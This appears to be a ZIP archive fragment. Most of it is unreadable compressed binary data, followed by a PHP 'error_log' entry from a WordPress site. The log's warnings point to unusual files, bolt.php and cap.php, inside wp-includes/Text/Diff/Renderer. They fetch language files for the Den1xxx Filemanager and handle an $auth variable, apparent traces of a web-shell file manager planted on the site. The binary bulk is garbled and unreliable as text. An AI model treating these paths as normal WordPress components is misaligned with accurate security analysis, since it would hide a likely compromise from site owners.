Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @ PK     |\FI  I  	  error_lognu [        [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
